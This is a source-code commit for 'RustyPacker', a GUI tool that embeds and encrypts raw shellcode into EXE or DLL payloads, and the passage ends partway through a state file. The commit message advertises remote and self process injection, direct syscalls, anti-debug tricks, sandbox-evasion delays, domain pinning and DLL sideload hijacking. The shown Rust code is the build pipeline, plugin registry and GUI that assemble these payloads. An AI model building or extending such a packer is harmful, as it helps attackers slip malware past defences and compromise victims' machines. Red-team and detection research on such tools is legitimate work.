RustyPacker v0.1-beta, native Rust shellcode packer with GUI
RustyPacker takes raw shellcode and emits a finished EXE, DLL, or
DLL-sideloadable DLL with the payload embedded and encrypted.
Choices exposed in the GUI:
- Encryption: AES-256-CBC, XOR, UUID-encoded.
- Remote injection: sysCRT, winCRT, ntEarlyCascade.
- Self injection: sysFIBER, EnumCalendarInfoA, EnumDesktopsW,
EnumWindowStationsW, EnumSystemGeoID, CDefFolderMenu_Create2,
RtlUserFiberStart.
- Anti-debug: CheckRemoteDebuggerPresent, NtQueryInformationProcess
(ProcessDebugPort), TEB BeingDebugged, SetUnhandledExceptionFilter
int3 trick.
- Evasion: NtDelayExecution sleep, domain pinning.
- Output: EXE, DLL, DLL Sideload, with optional Proxy mode and a
generated .def for unhandled exports.
The build flow assembles a Rust project under
shared/output_<timestamp>/, performs placeholder substitutions
requested by the chosen techniques, and runs
cargo build --release --target x86_64-pc-windows-{msvc|gnu}. Once
the final binary copies to the configured output path, cargo clean
runs against the generated folder, removing target/ to keep disk use
flat. Source files (Cargo.toml, src/, encrypted blob) stay on disk
for inspection.
Self-injection routes NtAllocateVirtualMemory and
NtProtectVirtualMemory through Dyncvoke's syscall! macro, jumping
into the real syscall instruction inside ntdll. Remote injection via
sysCRT and sysFIBER uses the same path.
build.rs walks src/techniques/ at build time to discover plugins, so
adding a new encryption, injection, anti-debug, or evasion technique
takes one manifest, one mod.rs, and an optional template folder.
Three-tab GUI: Configure, FlowCase (live execution-flow preview), and
Console (streaming cargo output line by line).
This commit is contained in:
+30
@@ -0,0 +1,30 @@
|
||||
[package]
|
||||
name = "RustPacker"
|
||||
version = "0.1.0-beta"
|
||||
edition = "2021"
|
||||
authors = ["smukx <staffs@5mukx.site>"]
|
||||
|
||||
[lib]
|
||||
name = "rustpacker"
|
||||
path = "src/lib.rs"
|
||||
|
||||
[[bin]]
|
||||
name = "RustPacker"
|
||||
path = "src/bin/gui.rs"
|
||||
|
||||
[build-dependencies]
|
||||
toml = "0.8"
|
||||
serde = { version = "1", features = ["derive"] }
|
||||
|
||||
[dependencies]
|
||||
path-absolutize = "3"
|
||||
fs_extra = "1"
|
||||
path-clean = "1"
|
||||
rand = "0.10"
|
||||
libaes = "0.7"
|
||||
anyhow = "1"
|
||||
serde = { version = "1", features = ["derive"] }
|
||||
toml = "0.8"
|
||||
eframe = { version = "0.27", features = ["persistence"] }
|
||||
egui = "0.27"
|
||||
rfd = "0.14"
|
||||
@@ -0,0 +1,242 @@
|
||||
//! Walks `src/techniques/{encryption,injection,evasion}/*/technique.toml`,
|
||||
//! parses each manifest, and emits `$OUT_DIR/registry.rs` with:
|
||||
//! - one `pub static <ID>_META: TechniqueMeta = ...` per technique
|
||||
//! - a `REGISTRY: &[&'static dyn Technique]` array
|
||||
//!
|
||||
//! Each technique folder must contain a `mod.rs` that defines a unit struct
|
||||
//! `pub struct <PascalId>;` implementing `Technique` and that uses
|
||||
//! `crate::techniques::<category>::<id>::<PascalId>_META` for its meta.
|
||||
|
||||
use serde::Deserialize;
|
||||
use std::collections::HashSet;
|
||||
use std::fs;
|
||||
use std::path::PathBuf;
|
||||
|
||||
#[derive(Debug, Deserialize)]
|
||||
struct Manifest {
|
||||
id: String,
|
||||
display_name: String,
|
||||
description: String,
|
||||
category: String, // "encryption" | "injection" | "evasion"
|
||||
#[serde(default)]
|
||||
tags: Vec<String>,
|
||||
#[serde(default)]
|
||||
requires: Vec<String>, // "target_process" | "self_injection" | "format:exe" | "format:dll"
|
||||
#[serde(default)]
|
||||
incompatible_with: Vec<String>,
|
||||
#[serde(default)]
|
||||
template_dir: Option<String>, // for injection only
|
||||
#[serde(default)]
|
||||
params: Vec<ParamManifest>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Deserialize)]
|
||||
struct ParamManifest {
|
||||
name: String,
|
||||
kind: String, // "text" | "bool" | "choice"
|
||||
label: String,
|
||||
#[serde(default)]
|
||||
default: Option<toml::Value>,
|
||||
#[serde(default)]
|
||||
options: Vec<String>,
|
||||
}
|
||||
|
||||
fn main() {
|
||||
let crate_root = PathBuf::from(env!("CARGO_MANIFEST_DIR"));
|
||||
let techniques_dir = crate_root.join("src/techniques");
|
||||
let out_dir: PathBuf = std::env::var_os("OUT_DIR").expect("OUT_DIR not set by cargo").into();
|
||||
|
||||
println!("cargo:rerun-if-changed=build.rs");
|
||||
println!("cargo:rerun-if-changed=src/techniques");
|
||||
|
||||
let mut found: Vec<(Manifest, String)> = Vec::new(); // (manifest, "<cat>/<id>")
|
||||
let mut seen_ids: HashSet<String> = HashSet::new();
|
||||
|
||||
for cat in ["encryption", "injection", "evasion"] {
|
||||
let cat_dir = techniques_dir.join(cat);
|
||||
if !cat_dir.exists() {
|
||||
continue;
|
||||
}
|
||||
for entry in fs::read_dir(&cat_dir).unwrap_or_else(|e| panic!("read_dir {}: {e}", cat_dir.display())) {
|
||||
let entry = entry.unwrap_or_else(|e| panic!("read_dir entry in {}: {e}", cat_dir.display()));
|
||||
let path = entry.path();
|
||||
if !path.is_dir() {
|
||||
continue;
|
||||
}
|
||||
let manifest_path = path.join("technique.toml");
|
||||
if !manifest_path.exists() {
|
||||
continue;
|
||||
}
|
||||
println!("cargo:rerun-if-changed={}", manifest_path.display());
|
||||
|
||||
let text = fs::read_to_string(&manifest_path)
|
||||
.unwrap_or_else(|e| panic!("read {}: {e}", manifest_path.display()));
|
||||
let manifest: Manifest = toml::from_str(&text)
|
||||
.unwrap_or_else(|e| panic!("parse {}: {e}", manifest_path.display()));
|
||||
|
||||
if manifest.category != cat {
|
||||
panic!(
|
||||
"manifest {} category={} but folder is under {}",
|
||||
manifest_path.display(), manifest.category, cat
|
||||
);
|
||||
}
|
||||
if !is_valid_id(&manifest.id) {
|
||||
panic!("invalid technique id {:?} in {}: must match ^[a-z][a-z0-9_]*$",
|
||||
manifest.id, manifest_path.display());
|
||||
}
|
||||
if manifest.template_dir.is_some() && manifest.category != "injection" {
|
||||
panic!("manifest {} declares template_dir but category={} (only 'injection' may use template_dir)",
|
||||
manifest_path.display(), manifest.category);
|
||||
}
|
||||
if !seen_ids.insert(manifest.id.clone()) {
|
||||
panic!("duplicate technique id: {}", manifest.id);
|
||||
}
|
||||
found.push((manifest, format!("{}/{}", cat, path.file_name().unwrap().to_string_lossy())));
|
||||
}
|
||||
}
|
||||
|
||||
found.sort_by(|a, b| a.0.id.cmp(&b.0.id));
|
||||
|
||||
let mut out = String::new();
|
||||
out.push_str("// Auto-generated by build.rs. Do not edit.\n\n");
|
||||
|
||||
// Emit module trees grouped by category.
|
||||
// We must use #[path = "..."] attributes because this file is emitted into
|
||||
// $OUT_DIR and included via include!() — Rust resolves bare `pub mod`
|
||||
// declarations relative to the including source file's directory, but when
|
||||
// the mod declaration lives inside an include!() expansion, rustc uses the
|
||||
// OUT_DIR path for resolution. Absolute #[path] attributes sidestep this.
|
||||
for cat in ["encryption", "injection", "evasion"] {
|
||||
let items: Vec<&(Manifest, String)> = found.iter().filter(|(m, _)| m.category == cat).collect();
|
||||
if items.is_empty() { continue; }
|
||||
out.push_str(&format!("pub mod {cat} {{\n"));
|
||||
for (m, _) in &items {
|
||||
let mod_path = techniques_dir
|
||||
.join(cat)
|
||||
.join(&m.id)
|
||||
.join("mod.rs");
|
||||
// Use forward slashes so the path attribute works cross-platform inside the string literal.
|
||||
let mod_path_str = mod_path.to_string_lossy().replace('\\', "/");
|
||||
out.push_str(&format!(" #[path = {:?}]\n pub mod {};\n", mod_path_str, m.id));
|
||||
}
|
||||
out.push_str("}\n");
|
||||
}
|
||||
out.push('\n');
|
||||
|
||||
// Emit one `static META` per technique with the parsed values.
|
||||
for (m, _) in &found {
|
||||
emit_meta(&mut out, m);
|
||||
}
|
||||
|
||||
// Emit the REGISTRY array.
|
||||
out.push_str("static REGISTRY: &[&'static dyn crate::techniques::Technique] = &[\n");
|
||||
for (m, _) in &found {
|
||||
let pascal = to_pascal(&m.id);
|
||||
out.push_str(&format!(" &crate::techniques::{}::{}::{} {{}},\n", m.category, m.id, pascal));
|
||||
}
|
||||
out.push_str("];\n");
|
||||
|
||||
let dest = out_dir.join("registry.rs");
|
||||
fs::write(&dest, out).unwrap_or_else(|e| panic!("write {}: {e}", dest.display()));
|
||||
}
|
||||
|
||||
fn is_valid_id(id: &str) -> bool {
|
||||
let mut chars = id.chars();
|
||||
let Some(first) = chars.next() else { return false; };
|
||||
if !first.is_ascii_lowercase() { return false; }
|
||||
chars.all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '_')
|
||||
}
|
||||
|
||||
fn to_pascal(snake: &str) -> String {
|
||||
snake.split('_').map(|part| {
|
||||
let mut chars = part.chars();
|
||||
match chars.next() {
|
||||
Some(c) => c.to_ascii_uppercase().to_string() + chars.as_str(),
|
||||
None => String::new(),
|
||||
}
|
||||
}).collect()
|
||||
}
|
||||
|
||||
fn emit_meta(out: &mut String, m: &Manifest) {
|
||||
let cat_variant = match m.category.as_str() {
|
||||
"encryption" => "Encryption",
|
||||
"injection" => "Injection",
|
||||
"evasion" => "Evasion",
|
||||
other => panic!("unknown category: {other}"),
|
||||
};
|
||||
let id_upper = m.id.to_uppercase();
|
||||
|
||||
out.push_str(&format!(
|
||||
"pub static {ID}_META: crate::techniques::TechniqueMeta = crate::techniques::TechniqueMeta {{\n",
|
||||
ID = id_upper
|
||||
));
|
||||
out.push_str(&format!(" id: {:?},\n", m.id));
|
||||
out.push_str(&format!(" display_name: {:?},\n", m.display_name));
|
||||
out.push_str(&format!(" description: {:?},\n", m.description));
|
||||
out.push_str(&format!(" category: crate::techniques::Category::{},\n", cat_variant));
|
||||
|
||||
out.push_str(" tags: &[");
|
||||
for t in &m.tags { out.push_str(&format!("{:?}, ", t)); }
|
||||
out.push_str("],\n");
|
||||
|
||||
out.push_str(" requires: &[");
|
||||
for r in &m.requires { out.push_str(&emit_requirement(r)); out.push_str(", "); }
|
||||
out.push_str("],\n");
|
||||
|
||||
out.push_str(" incompatible_with: &[");
|
||||
for w in &m.incompatible_with { out.push_str(&format!("{:?}, ", w)); }
|
||||
out.push_str("],\n");
|
||||
|
||||
out.push_str(" params: &[");
|
||||
for p in &m.params { out.push_str(&emit_param(p)); out.push_str(", "); }
|
||||
out.push_str("],\n");
|
||||
|
||||
out.push_str("};\n\n");
|
||||
|
||||
if let Some(t) = &m.template_dir {
|
||||
out.push_str(&format!(
|
||||
"pub static {ID}_TEMPLATE_DIR: &str = {t:?};\n\n",
|
||||
ID = id_upper
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
fn emit_requirement(r: &str) -> String {
|
||||
match r {
|
||||
"target_process" => "crate::techniques::Requirement::TargetProcess".to_string(),
|
||||
"self_injection" => "crate::techniques::Requirement::SelfInjection".to_string(),
|
||||
"format:exe" => "crate::techniques::Requirement::Format(crate::techniques::Format::Exe)".to_string(),
|
||||
"format:dll" => "crate::techniques::Requirement::Format(crate::techniques::Format::Dll)".to_string(),
|
||||
other => panic!("unknown requirement: {other}"),
|
||||
}
|
||||
}
|
||||
|
||||
fn emit_param(p: &ParamManifest) -> String {
|
||||
match p.kind.as_str() {
|
||||
"text" => {
|
||||
let default = p.default.as_ref().and_then(|v| v.as_str()).unwrap_or("");
|
||||
format!(
|
||||
"crate::techniques::ParamSpec::Text {{ name: {:?}, label: {:?}, default: {:?} }}",
|
||||
p.name, p.label, default
|
||||
)
|
||||
}
|
||||
"bool" => {
|
||||
let default = p.default.as_ref().and_then(|v| v.as_bool()).unwrap_or(false);
|
||||
format!(
|
||||
"crate::techniques::ParamSpec::Bool {{ name: {:?}, label: {:?}, default: {} }}",
|
||||
p.name, p.label, default
|
||||
)
|
||||
}
|
||||
"choice" => {
|
||||
if p.options.is_empty() {
|
||||
panic!("choice param {:?} has no options", p.name);
|
||||
}
|
||||
let opts: Vec<String> = p.options.iter().map(|o| format!("{:?}", o)).collect();
|
||||
format!(
|
||||
"crate::techniques::ParamSpec::Choice {{ name: {:?}, label: {:?}, options: &[{}] }}",
|
||||
p.name, p.label, opts.join(", ")
|
||||
)
|
||||
}
|
||||
other => panic!("unknown param kind: {other}"),
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")]
|
||||
use eframe::egui;
|
||||
|
||||
fn main() -> eframe::Result<()> {
|
||||
// The build pipeline resolves `shared/` and `templates/` as relative paths
|
||||
// from the CWD. When the GUI is launched directly (e.g. by double-clicking
|
||||
// the .exe), the CWD is `target/release/` and those folders don't exist.
|
||||
// Anchor to the project root that was current at compile time.
|
||||
let project_root = env!("CARGO_MANIFEST_DIR");
|
||||
if let Err(e) = std::env::set_current_dir(project_root) {
|
||||
eprintln!("Warning: could not set working directory to {project_root}: {e}");
|
||||
}
|
||||
|
||||
let opts = eframe::NativeOptions {
|
||||
viewport: egui::ViewportBuilder::default()
|
||||
.with_inner_size([960.0, 720.0])
|
||||
.with_min_inner_size([720.0, 560.0])
|
||||
.with_title("RustyPacker"),
|
||||
persist_window: true,
|
||||
..Default::default()
|
||||
};
|
||||
eframe::run_native(
|
||||
"RustyPacker",
|
||||
opts,
|
||||
Box::new(|cc| Box::new(rustpacker::gui::App::from_storage(cc))),
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
//! Process-wide sink for build-pipeline output.
|
||||
//!
|
||||
//! The GUI installs a shared `Arc<Mutex<String>>` before kicking off a build;
|
||||
//! every `blog!()` call from `puzzle`, `compiler`, `tools`, etc. appends a line
|
||||
//! to that buffer so it can be rendered live in the Console tab. With no sink
|
||||
//! installed the writes are silently dropped (the GUI binary has no stdout when
|
||||
//! launched with `windows_subsystem = "windows"`).
|
||||
|
||||
use std::sync::{Arc, Mutex, OnceLock};
|
||||
|
||||
type SinkHandle = Arc<Mutex<String>>;
|
||||
|
||||
static SLOT: OnceLock<Mutex<Option<SinkHandle>>> = OnceLock::new();
|
||||
|
||||
fn slot() -> &'static Mutex<Option<SinkHandle>> {
|
||||
SLOT.get_or_init(|| Mutex::new(None))
|
||||
}
|
||||
|
||||
pub fn set_sink(sink: SinkHandle) {
|
||||
*slot().lock().unwrap() = Some(sink);
|
||||
}
|
||||
|
||||
pub fn clear_sink() {
|
||||
*slot().lock().unwrap() = None;
|
||||
}
|
||||
|
||||
pub fn write(line: &str) {
|
||||
let sink_opt = slot().lock().unwrap().clone();
|
||||
if let Some(sink) = sink_opt {
|
||||
let mut buf = sink.lock().unwrap();
|
||||
buf.push_str(line);
|
||||
if !line.ends_with('\n') {
|
||||
buf.push('\n');
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[macro_export]
|
||||
macro_rules! blog {
|
||||
($($arg:tt)*) => {
|
||||
$crate::build_log::write(&format!($($arg)*))
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,98 @@
|
||||
use std::io::{BufRead, BufReader};
|
||||
use std::path::Path;
|
||||
use std::process::{Command, ExitStatus, Stdio};
|
||||
|
||||
/// Spawn `cmd` with stdout+stderr piped, stream every line into the
|
||||
/// `build_log` sink as it arrives, and return the final ExitStatus.
|
||||
fn stream_command(cmd: &mut Command) -> std::io::Result<ExitStatus> {
|
||||
cmd.stdout(Stdio::piped()).stderr(Stdio::piped());
|
||||
let mut child = cmd.spawn()?;
|
||||
let stdout = child.stdout.take();
|
||||
let stderr = child.stderr.take();
|
||||
let t_out = stdout.map(|out| {
|
||||
std::thread::spawn(move || {
|
||||
for line in BufReader::new(out).lines().map_while(Result::ok) {
|
||||
crate::build_log::write(&line);
|
||||
}
|
||||
})
|
||||
});
|
||||
let t_err = stderr.map(|err| {
|
||||
std::thread::spawn(move || {
|
||||
for line in BufReader::new(err).lines().map_while(Result::ok) {
|
||||
crate::build_log::write(&line);
|
||||
}
|
||||
})
|
||||
});
|
||||
let status = child.wait()?;
|
||||
if let Some(t) = t_out {
|
||||
let _ = t.join();
|
||||
}
|
||||
if let Some(t) = t_err {
|
||||
let _ = t.join();
|
||||
}
|
||||
Ok(status)
|
||||
}
|
||||
|
||||
fn build_target() -> &'static str {
|
||||
if cfg!(target_os = "windows") {
|
||||
"x86_64-pc-windows-msvc"
|
||||
} else {
|
||||
"x86_64-pc-windows-gnu"
|
||||
}
|
||||
}
|
||||
|
||||
fn compile_locally(path_to_cargo_folder: &Path) -> Result<(), Box<dyn std::error::Error>> {
|
||||
let target = build_target();
|
||||
let manifest = path_to_cargo_folder.join("Cargo.toml");
|
||||
let mut cmd = Command::new("cargo");
|
||||
|
||||
if cfg!(not(target_os = "windows")) {
|
||||
cmd.env("CFLAGS", "-lrt");
|
||||
cmd.env("LDFLAGS", "-lrt");
|
||||
}
|
||||
|
||||
cmd.env("RUSTFLAGS", "-C target-feature=+crt-static")
|
||||
.args(["build", "--release", "--manifest-path"])
|
||||
.arg(&manifest)
|
||||
.args(["--target", target]);
|
||||
|
||||
let status = stream_command(&mut cmd)?;
|
||||
|
||||
if !status.success() {
|
||||
return Err(format!("Compilation failed: {}", status).into());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub fn compile(path_to_cargo_folder: &Path) {
|
||||
crate::blog!("[+] Starting to compile your payload..");
|
||||
compile_locally(path_to_cargo_folder).unwrap_or_else(|err| {
|
||||
panic!("Compilation failed: {:?}", err);
|
||||
});
|
||||
crate::blog!("[+] Successfully compiled! Rust code and compiled binary are in the 'shared' folder");
|
||||
}
|
||||
|
||||
fn clean_locally(path_to_cargo_folder: &Path) -> Result<(), Box<dyn std::error::Error>> {
|
||||
let manifest = path_to_cargo_folder.join("Cargo.toml");
|
||||
let mut cmd = Command::new("cargo");
|
||||
cmd.args(["clean", "--manifest-path"]).arg(&manifest);
|
||||
cmd.stdout(Stdio::null()).stderr(Stdio::null());
|
||||
let status = cmd.status()?;
|
||||
if !status.success() {
|
||||
return Err(format!("cargo clean failed: {}", status).into());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Removes the `target/` directory under the generated output folder.
|
||||
/// Source files (`Cargo.toml`, `src/`, encrypted blob) are preserved.
|
||||
/// Only call this after the final binary has been copied to the user's
|
||||
/// destination, otherwise the only built artifact gets nuked along with
|
||||
/// the intermediates.
|
||||
pub fn clean(path_to_cargo_folder: &Path) {
|
||||
crate::blog!("[*] Removing build artifacts to save disk space..");
|
||||
match clean_locally(path_to_cargo_folder) {
|
||||
Ok(()) => crate::blog!("[+] Cleaned: {}/target", path_to_cargo_folder.display()),
|
||||
Err(e) => crate::blog!("[!] cargo clean skipped: {}", e),
|
||||
}
|
||||
}
|
||||
+323
@@ -0,0 +1,323 @@
|
||||
use eframe::egui::{self, Margin, RichText};
|
||||
|
||||
pub mod state;
|
||||
pub mod theme;
|
||||
pub mod widgets;
|
||||
pub mod tab_configure;
|
||||
pub mod tab_flowcase;
|
||||
pub mod tab_console;
|
||||
|
||||
use state::{AppState, Tab};
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::thread::JoinHandle;
|
||||
use widgets::AppStatus;
|
||||
|
||||
pub struct App {
|
||||
state: AppState,
|
||||
build_handle: Option<JoinHandle<()>>,
|
||||
build_log: Arc<Mutex<String>>,
|
||||
build_running: Arc<std::sync::atomic::AtomicBool>,
|
||||
}
|
||||
|
||||
impl Default for App {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
state: AppState::default(),
|
||||
build_handle: None,
|
||||
build_log: Arc::new(Mutex::new(String::new())),
|
||||
build_running: Arc::new(std::sync::atomic::AtomicBool::new(false)),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl App {
|
||||
pub fn from_storage(cc: &eframe::CreationContext<'_>) -> Self {
|
||||
let state: AppState = cc
|
||||
.storage
|
||||
.and_then(|s| eframe::get_value::<AppState>(s, "app_state"))
|
||||
.unwrap_or_default();
|
||||
theme::install(&cc.egui_ctx, state.active_theme);
|
||||
let mut app = Self::default();
|
||||
app.state = state;
|
||||
app
|
||||
}
|
||||
|
||||
fn start_build(&mut self, ctx: &egui::Context) {
|
||||
if self.build_running.load(std::sync::atomic::Ordering::SeqCst) {
|
||||
return;
|
||||
}
|
||||
if let Err(msg) = validate_state(&self.state) {
|
||||
self.build_log
|
||||
.lock()
|
||||
.unwrap()
|
||||
.push_str(&format!("[-] {msg}\n"));
|
||||
return;
|
||||
}
|
||||
let order = match self.state.to_order() {
|
||||
Some(o) => o,
|
||||
None => {
|
||||
self.build_log
|
||||
.lock()
|
||||
.unwrap()
|
||||
.push_str("[-] Pick a shellcode file first.\n");
|
||||
return;
|
||||
}
|
||||
};
|
||||
self.build_log.lock().unwrap().clear();
|
||||
self.build_running
|
||||
.store(true, std::sync::atomic::Ordering::SeqCst);
|
||||
let log = self.build_log.clone();
|
||||
let running = self.build_running.clone();
|
||||
let ctx = ctx.clone();
|
||||
|
||||
self.build_handle = Some(std::thread::spawn(move || {
|
||||
crate::build_log::set_sink(log.clone());
|
||||
crate::build_log::write("[*] Starting build...");
|
||||
let result = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {
|
||||
let folder = crate::puzzle::assemble(order.clone());
|
||||
crate::blog!("[*] Compiled output folder: {}", folder.display());
|
||||
crate::compiler::compile(&folder);
|
||||
let copy_result = crate::tools::process_output(&order, &folder);
|
||||
let _ = crate::tools::rename_source_binary(&order, &folder);
|
||||
if order.output.is_some() && copy_result.is_ok() {
|
||||
crate::compiler::clean(&folder);
|
||||
}
|
||||
}));
|
||||
let msg = match result {
|
||||
Ok(()) => "[+] Build complete.",
|
||||
Err(_) => "[-] Build panicked. See output folder for partial artifacts.",
|
||||
};
|
||||
crate::build_log::write(msg);
|
||||
crate::build_log::clear_sink();
|
||||
running.store(false, std::sync::atomic::Ordering::SeqCst);
|
||||
ctx.request_repaint();
|
||||
}));
|
||||
}
|
||||
}
|
||||
|
||||
pub fn validate_state(state: &AppState) -> Result<(), String> {
|
||||
use crate::gui::state::Format;
|
||||
use crate::techniques::{self, Format as TFormat, Requirement};
|
||||
|
||||
let Some(_) = &state.shellcode_path else {
|
||||
return Err("Pick a shellcode file.".into());
|
||||
};
|
||||
|
||||
let inj = techniques::find(&state.injection_id)
|
||||
.ok_or_else(|| format!("Unknown injection: {}", state.injection_id))?;
|
||||
if techniques::find(&state.encryption_id).is_none() {
|
||||
return Err(format!("Unknown encryption: {}", state.encryption_id));
|
||||
}
|
||||
for ev_id in &state.enabled_evasions {
|
||||
if techniques::find(ev_id).is_none() {
|
||||
return Err(format!("Unknown evasion: {}", ev_id));
|
||||
}
|
||||
}
|
||||
for id in &state.enabled_anti_debug {
|
||||
if techniques::find(id).is_none() {
|
||||
return Err(format!("Unknown anti-debug check: {}", id));
|
||||
}
|
||||
}
|
||||
for req in inj.meta().requires {
|
||||
match req {
|
||||
Requirement::TargetProcess => {
|
||||
let key = format!("{}.target_process", inj.meta().id);
|
||||
if state
|
||||
.params
|
||||
.get(&key)
|
||||
.map(String::as_str)
|
||||
.unwrap_or("")
|
||||
.is_empty()
|
||||
{
|
||||
return Err(format!(
|
||||
"{} requires a target process.",
|
||||
inj.meta().display_name
|
||||
));
|
||||
}
|
||||
}
|
||||
Requirement::Format(TFormat::Exe) if state.format == Format::Dll => {
|
||||
return Err(format!(
|
||||
"{} requires EXE format.",
|
||||
inj.meta().display_name
|
||||
));
|
||||
}
|
||||
Requirement::Format(TFormat::Dll) if state.format == Format::Exe => {
|
||||
return Err(format!(
|
||||
"{} requires DLL format.",
|
||||
inj.meta().display_name
|
||||
));
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
if state.format == Format::DllSideload {
|
||||
if !inj.meta().tags.contains(&"self_injection") {
|
||||
return Err(format!(
|
||||
"DLL Sideload requires a self-injection technique. {} is remote.",
|
||||
inj.meta().display_name
|
||||
));
|
||||
}
|
||||
if state.sideload.target_dll.is_none() {
|
||||
return Err("DLL Sideload: pick a target DLL.".into());
|
||||
}
|
||||
if state.sideload.hijack_export.trim().is_empty() {
|
||||
return Err("DLL Sideload: enter the hijack export name.".into());
|
||||
}
|
||||
if matches!(state.sideload.mode, crate::gui::state::SideloadMode::Proxy)
|
||||
&& !state.sideload.use_absolute_path
|
||||
&& state.sideload.renamed.trim().is_empty()
|
||||
{
|
||||
return Err(
|
||||
"DLL Sideload (Proxy, relative mode): set the renamed-original DLL name."
|
||||
.into(),
|
||||
);
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
impl eframe::App for App {
|
||||
fn save(&mut self, storage: &mut dyn eframe::Storage) {
|
||||
eframe::set_value(storage, "app_state", &self.state);
|
||||
}
|
||||
|
||||
fn update(&mut self, ctx: &egui::Context, _frame: &mut eframe::Frame) {
|
||||
let running = self
|
||||
.build_running
|
||||
.load(std::sync::atomic::Ordering::SeqCst);
|
||||
let count = crate::techniques::all().len();
|
||||
let status = if running {
|
||||
AppStatus::Building
|
||||
} else {
|
||||
AppStatus::Ready { count }
|
||||
};
|
||||
|
||||
// --- Title bar (with theme picker)
|
||||
let mut theme_changed = false;
|
||||
egui::TopBottomPanel::top("titlebar")
|
||||
.frame(
|
||||
egui::Frame::none()
|
||||
.fill(theme::palette::bg_chrome())
|
||||
.inner_margin(Margin::ZERO),
|
||||
)
|
||||
.show_separator_line(false)
|
||||
.show(ctx, |ui| {
|
||||
theme_changed = widgets::title_bar(
|
||||
ui,
|
||||
env!("CARGO_PKG_VERSION"),
|
||||
&status,
|
||||
&mut self.state.active_theme,
|
||||
);
|
||||
});
|
||||
|
||||
if theme_changed {
|
||||
theme::install(ctx, self.state.active_theme);
|
||||
ctx.request_repaint();
|
||||
}
|
||||
|
||||
// --- Tab strip
|
||||
egui::TopBottomPanel::top("tabs")
|
||||
.frame(
|
||||
egui::Frame::none()
|
||||
.fill(theme::palette::bg_chrome())
|
||||
.inner_margin(Margin::ZERO),
|
||||
)
|
||||
.show_separator_line(false)
|
||||
.show(ctx, |ui| {
|
||||
widgets::tab_strip(
|
||||
ui,
|
||||
&mut self.state.current_tab,
|
||||
&[
|
||||
(Tab::Configure, "Configure"),
|
||||
(Tab::FlowCase, "FlowCase"),
|
||||
(Tab::Console, "Console"),
|
||||
],
|
||||
);
|
||||
});
|
||||
|
||||
// --- Bottom action bar
|
||||
egui::TopBottomPanel::bottom("actions")
|
||||
.frame(
|
||||
egui::Frame::none()
|
||||
.fill(theme::palette::bg_chrome())
|
||||
.inner_margin(Margin {
|
||||
left: theme::space::LG,
|
||||
right: theme::space::LG,
|
||||
top: theme::space::SM + 2.0,
|
||||
bottom: theme::space::SM + 2.0,
|
||||
}),
|
||||
)
|
||||
.show_separator_line(false)
|
||||
.show(ctx, |ui| {
|
||||
let r = ui.max_rect();
|
||||
ui.painter().hline(
|
||||
r.x_range(),
|
||||
r.top(),
|
||||
egui::Stroke::new(1.0, theme::palette::border_strong()),
|
||||
);
|
||||
|
||||
ui.horizontal(|ui| {
|
||||
let status_text = if running {
|
||||
format!("● Building… · see Console for output")
|
||||
} else {
|
||||
format!("Ready · {count} techniques discovered")
|
||||
};
|
||||
let color = if running {
|
||||
theme::palette::accent()
|
||||
} else {
|
||||
theme::palette::text_label()
|
||||
};
|
||||
ui.label(
|
||||
RichText::new(status_text)
|
||||
.font(theme::font_sans(11.0))
|
||||
.color(color),
|
||||
);
|
||||
|
||||
ui.with_layout(
|
||||
egui::Layout::right_to_left(egui::Align::Center),
|
||||
|ui| {
|
||||
let clicked = if running {
|
||||
let _ = widgets::primary_button_disabled(ui, "▶ BUILDING…");
|
||||
false
|
||||
} else {
|
||||
widgets::primary_button(ui, "▶ BUILD PAYLOAD").clicked()
|
||||
};
|
||||
if clicked {
|
||||
self.state.current_tab = Tab::Console;
|
||||
self.start_build(ctx);
|
||||
}
|
||||
},
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
// --- Central body
|
||||
let central = egui::CentralPanel::default()
|
||||
.frame(
|
||||
egui::Frame::none()
|
||||
.fill(theme::palette::bg_base())
|
||||
.inner_margin(Margin {
|
||||
left: theme::space::XXL,
|
||||
right: theme::space::XXL,
|
||||
top: theme::space::LG,
|
||||
bottom: theme::space::LG,
|
||||
}),
|
||||
)
|
||||
.show(ctx, |ui| match self.state.current_tab {
|
||||
Tab::Configure => tab_configure::draw(ui, &mut self.state),
|
||||
Tab::FlowCase => tab_flowcase::draw(ui, &mut self.state),
|
||||
Tab::Console => tab_console::draw(ui, &mut self.state, &self.build_log),
|
||||
});
|
||||
|
||||
// Cyberpunk overlay: subtle CRT scanlines over the central panel.
|
||||
if self.state.active_theme.scanlines() {
|
||||
widgets::paint_scanlines(ctx, central.response.rect);
|
||||
}
|
||||
|
||||
// Animate the building status pip
|
||||
if running {
|
||||
ctx.request_repaint_after(std::time::Duration::from_millis(150));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,129 @@
|
||||
use crate::gui::theme::Theme;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::collections::HashMap;
|
||||
use std::path::PathBuf;
|
||||
|
||||
#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq)]
|
||||
pub enum Tab { Configure, FlowCase, Console }
|
||||
|
||||
impl Default for Tab { fn default() -> Self { Self::Configure } }
|
||||
|
||||
#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq)]
|
||||
pub enum SideloadMode { Sideload, Proxy }
|
||||
|
||||
impl Default for SideloadMode { fn default() -> Self { Self::Sideload } }
|
||||
|
||||
#[derive(Debug, Clone, Default, Serialize, Deserialize)]
|
||||
#[serde(default)]
|
||||
pub struct SideloadConfig {
|
||||
pub target_dll: Option<PathBuf>,
|
||||
pub hijack_export: String,
|
||||
pub mode: SideloadMode,
|
||||
